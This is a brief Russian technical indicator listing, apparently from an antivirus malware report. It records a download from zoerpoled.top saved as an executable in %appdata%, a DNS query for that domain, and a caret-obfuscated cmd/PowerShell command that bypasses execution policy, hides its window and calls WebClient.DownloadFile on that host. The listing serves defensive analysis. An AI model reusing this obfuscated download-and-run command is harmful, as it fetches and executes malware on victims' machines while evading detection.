Техническая информация
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "P^OW^eRS^HELl.eX^e ^-^exECuti^oNpOLiC^Y by^P^AS^s ^-nOp^Rof^I^L^E^ -w^i^ndo^w^Styl^e h^IDDEN (n^eW-^o^BJ^e^Ct^ sYstEM.nET.W^Eb^clI^EnT)^.^D^o^w^nLOADFil^e^('http://www.zoerpoled.t...
- DNS ASK zo###oled.top
- '<SYSTEM32>\cmd.exe' /c "P^OW^eRS^HELl.eX^e ^-^exECuti^oNpOLiC^Y by^P^AS^s ^-nOp^Rof^I^L^E^ -w^i^ndo^w^Styl^e h^IDDEN (n^eW-^o^BJ^e^Ct^ sYstEM.nET.W^Eb^clI^EnT)^.^D^o^w^nLOADFil^e^('http://www.zoerpoled.t...' (со скрытым окном)